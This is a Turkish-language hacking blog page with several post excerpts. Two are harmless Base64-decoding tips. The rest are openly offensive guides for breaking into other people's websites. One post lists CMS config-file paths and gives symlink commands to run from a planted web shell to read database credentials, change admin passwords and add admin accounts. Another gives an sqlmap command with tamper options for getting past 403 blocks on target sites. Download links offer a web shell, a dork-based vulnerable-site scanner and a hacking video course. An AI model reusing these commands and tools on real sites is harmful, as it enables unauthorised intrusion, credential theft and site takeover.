Linux Terminal Base64 Hash Nasıl Decode Edilir?

Linux Terminal Base64 Hash Nasıl Decode Edilir?

Merhaba Sevgili CyberrWeb Takipçileri Base64 İle Şifrelenmiş Kodlamaları Nasıl Linux Üzerinden Kırabileceğinizi Anlatacağız Linux Harici Eğer PentestBox Gibi Uygulamalar Varsa Onlar Üzerindende Yapabilir veya Windows Sisteminize Linux Terminalindeki Mevcut Dökümanı Kurabilir ve Bu İşlemi Gerçekleştirebilirsiniz.

Linux Terminal'ine Geldikten Sonra Aşağıdaki Size Vereceğimiz Komutlar Sayesinde Hedef Dosyanızı Şifreleyebilir veya Base64 İle Şifrelenmiş Hash'ı Kırabilirsiniz.

Bir dosyayı veya dizeyi çözmek için bu seçeneği kullanın :

-d veya --decode 

echo aGFja2VyaHViYi5ibG9nc3BvdC5jb20= | base64 --decode

Base64 Kullanımı İle Alakalı Daha Detaylı Bilgi İçin Bu Komutu Kullanın :

--help

Alfabede Olmayan Karakterleri Yok Saymak İçin Bu Komutu Kullanın :

-i, --ignore-garbage

Sürüm Bilgilerini Görüntülemek İçin ise Bu Komutu Kullanın :

--version

 

Bu Komut Satırlarını Yazdığınızda Mevcut Değil ise Base64 coreutils Paketini Kurmanız Yeterli Olacaktır.

Konu Hakkında Yaşadığınız Sıkıntılar veya Eklenmesini İstediğiniz Bilgiler Mevcutsa Yorum Olarak Bizlere Belirtmeniz Diğer Mevcut Takipçilerimize Dahada Çok Fayda Sağlayacaktır!

Read More

CMS Config Yolları Nelerdir? Config Nasıl Çekilir?

CMS Config Yolları Nelerdir? Config Nasıl Çekilir?

Merhaba Sevgili Hackerhub Takipçileri Bir Çok Web Sitesinin Sunucusuna Girdiğinizde Host Üzerinde Barınmakta Olan Sitelerin Admin Panellerine Erişim Sağlamak İçin Config Yolundaki MYSQL Veri Tabanı Bilgileriyle Hedef Sitemizin Mevcut Admin Kullanıcı Adı ve Şifresini Değiştirebilir İstersekte Kendimize Yeni Bir Yönetici Hesabı Atayabiliriz Daha Sonrasında İse Gönlünüz İsterse Shelleyin Gönlünüz İstersede Hedef Web Sitesinden Yararlanmaya Bakın.

CMS Config Yolları :

1. Php Nuke : siteadı.com/config.php 
2. vBulettin : siteadı.com/includes/config.php
3. Mybb : siteadı.com/inc/config.php
4. Phpbb : siteadı.com/config.php
5. Smf : siteadı.com/Settings.php
6. Joomla : siteadı.com/configuration.php
7. Wordpress : siteadı.com/wp-config.php
8. Drupal : /default/settings.php
9. vbulletin : /includes/config.php & /includes/class_core.php

Hedef Siteniz Hangi CMS Kullanıyor ise Onun Doğrultusunda Configleri Çekebilirsiniz Config Çekmek İçinde Herhangi Bir Shell'in Execute(Komut Kısmına) :

" ln -s home/useradı/public_html/config.php 1.txt "

Şeklinde Girdiğinizde Komut Satırını Hangi Klasörün İçerisinde Kullandıysanız O Dosya İçerisine 1.txt Olarak Config Bilgilerini Yansıtacaktır. Eğer Yansıtmadığı Durumlarda ise Sunucuya Göre Kendiniz Bilginiz Doğrultusunda Sunucu Bypass Ederek Bilgileri Ekrana Yansıtmanız Gerekecek

1.txt Çekmediyse Örnek Olarak :

" ln -s home/useradı/public_html/config.php README "

HEADER Olarakta Deneyebilirsiniz Hâla Config Bilgileri Ekrana Yansımıyor ise Htaccess. Dosyası Var İse Editleyin Eğer Mevcut Bypass Denediğiniz Klasörde Yoksa Kendiniz Oluşturun

" ReadMe 1.txt "

 

Olarak Kaydedin Mevcut Bypass Dosyasına Gelin Örnek siteadı.com/config/ CTRL + U İncele Yaparsanız Sayfa Üzerinde MYSQL Veri Bilgilerini Tekrardan Size Yansıtacaktır. Umarım Konum Sizlere Yardımcı Olmuştur. Yakında Htaccess. Bypass Generator Programı Paylaşılacaktır Takipte Kalın. 

Read More

SQLİ-DM SQL DEFİCİT SCANNER

SQLİ-DM SQL DEFİCİT SCANNER

SQLİ-DM Google Üzerinden Güncel Zafiyetli Siteleri Dorklar Doğrultusunda Çıkartır İçerisinde Premium Kullanıcılara Özel Checker Gibi Özellikler Bulunmaktadır. Ücretsiz Versiyonunda Bu Özelliğini Premium Almadan Kullanamamaktasınız. Hızlı Şekilde En Güncel Sitelerde Tarama Yapmak İçin En İdeal Programlardan Birisi Diyebiliriz.

DOWNLOAD

Read More

[16GB] Dev Hacker Eğitim Seti

Dev Hacker Eğitim Seti

Bir Çok Hack Kategorisini İçerisinde Bulunduran ve En Detaylı Şekilde Anlatımlar ve Örneklemelerle Sizlere Bir Çok Hack Kategorisi Alanında Anlatımlar Sunan Dev Hacker Eğitim Seti Toplamda 16 GB Dosya Büyüklüğündedir İçerisinde Network ve Web Sitesi Güvenliği ve Zafiyetleri Açısından Bir Çok Eğitim Videosu Mevcuttur. 

Eğitim Seti

Aşağıdaki DOWNLOAD Butonuna Tıklayarak İndirme Linkine Gidebilirsiniz!

DOWNLOAD

Read More

Decode : Best Web Sites

Decode : Best Web Sites

Merhabalar Sevgili Hackerhub Takipçileri Sizlere ("Base64,FOPO,Zeura,PHP,Hex") Gibi Şifreleri Decode Etmenize Yarayacak En İyi 2 Siteden Bahsedeceğim. Manuel Olarakta Bu Şifreler Kırılabiliyor Ancak Biz Sizlere Basit Olan Yoluyla Tek Tıklama İle Decode Edilebileceğiniz Siteleri İlk Önce Göstermek İstedik İlerleyen Zamanlarda Linux Terminal Üzerinden Manuel Base64 Decode Etmeyi Blog Adresimiz  Üzerinden Detaylı Bir Anlatımla Paylaşacağız.

En Basit Base64 Decode

Erenet Üzerinden En Basit Şekilde Base64 Oluşturabilir veya Elinizdeki Base64 Satırını Basitçe Decode Edebilirsiniz Base64 Kodlaması Basit Halinde Olması Gereklidir Detaylı Bir Şifrelemeyse Decode Etmeniz İmkansızlaşır.

En Kaliteli Decoder

Unphp.net Sizler İçin Elinizdeki PHP Şifreleme Türünü Algılar ve Daha Önceki Aratmalarda Eğer Encode Edilmişse Size Encode Hâlini Sunacaktır. Eğer Mevcut Değilsede Aynı Şekilde Site Üzerinde Mevcut Şifrelenme Türünün Encode Sistemi Bulunuyorsa Orjinal Kodlamasını Size Sunacaktır.

En Pratik Decoder

Eğer Elinizdeki Mevcut Scriptler FOPO,Zeura,General PHP,Base64 Tarzı Şifrelemeler İle Şifrelendiyse Site Üzerindeki Şifrelenme Türüne Göre Elinizdeki Şifrelenmiş Satır Komutunu Belirttiğinizde Size Orjinal Kodlamasını Sunacaktır.

Read More

SQLMAP : 403 FORBIDDEN PASS

SQLMAP :  403 FORBIDDEN PASS

Merhaba Sevgili Hackerhub Takipçileri Bir Çok Sitede 403 FORBIDDAN Kritik Hatası Alıyoruz Bir Çoğumuz Pes Ediyor Bir Çoğumuzda Araştırarak Doğru Komutlar Doğrultusunda Hedef Sitedeki Amacına Ulaşıyor.

SQLMAP Üzerinden 403 FORBIDDEN Geçmek İçin Aşağıdaki Size Verdiğimiz Komutları Girerseniz %75 Aldığınız Hatayı Çözmeye Yarayacaktır Tekrar Hatalar Alırsanız Farklı Komutlarda Hedef Sitenize Göre Kendiniz Düzenleyebilirsiniz.

sqlmap.py -u www.site.com/?parameter=1 --random-agent --threads=5 --risk=3 --level=5 --invalid-string --invalid-logical --invalid-bignum --tamper=between,informationschemacomment,charencode,bluecoat --force-ssl -v2 --parse-errors --current-db --dbs

Komut Satırına "--batch" Gibi Komutları Eklememeniz Tavsiyemizdir Aksi Takdirde Sizlere Sıkıntı Çıkartacaktır Manuel Olarak SQLMAP Üzerinde Karşınıza Gelen Sorulara Soruların Gereğince Manuel Seçimler Yapmanız Daha Faydalı Olacaktır.

Read More

RC-SHELL V2

RC-SHELL V2

RC-SHELL V2 Shell 2011 Yılında Yapılmıştır. Kullanımı Basittir İçerisinde;

("SQLManager,Upload,Eval,Cmd Execution,FTP Crack,Sysem İnfo,Mail Sender") Gibi Özellikler Mevcut Eski Bir Shell'e Nezareten Gayet Hoş Aynı Zamanda Görünümsel Olarakta Kullanışlı Bir Shell Diyebiliriz Umarım Siz Değerli Takipçilerimizin İşine Yarar!

DOWNLOAD

Read More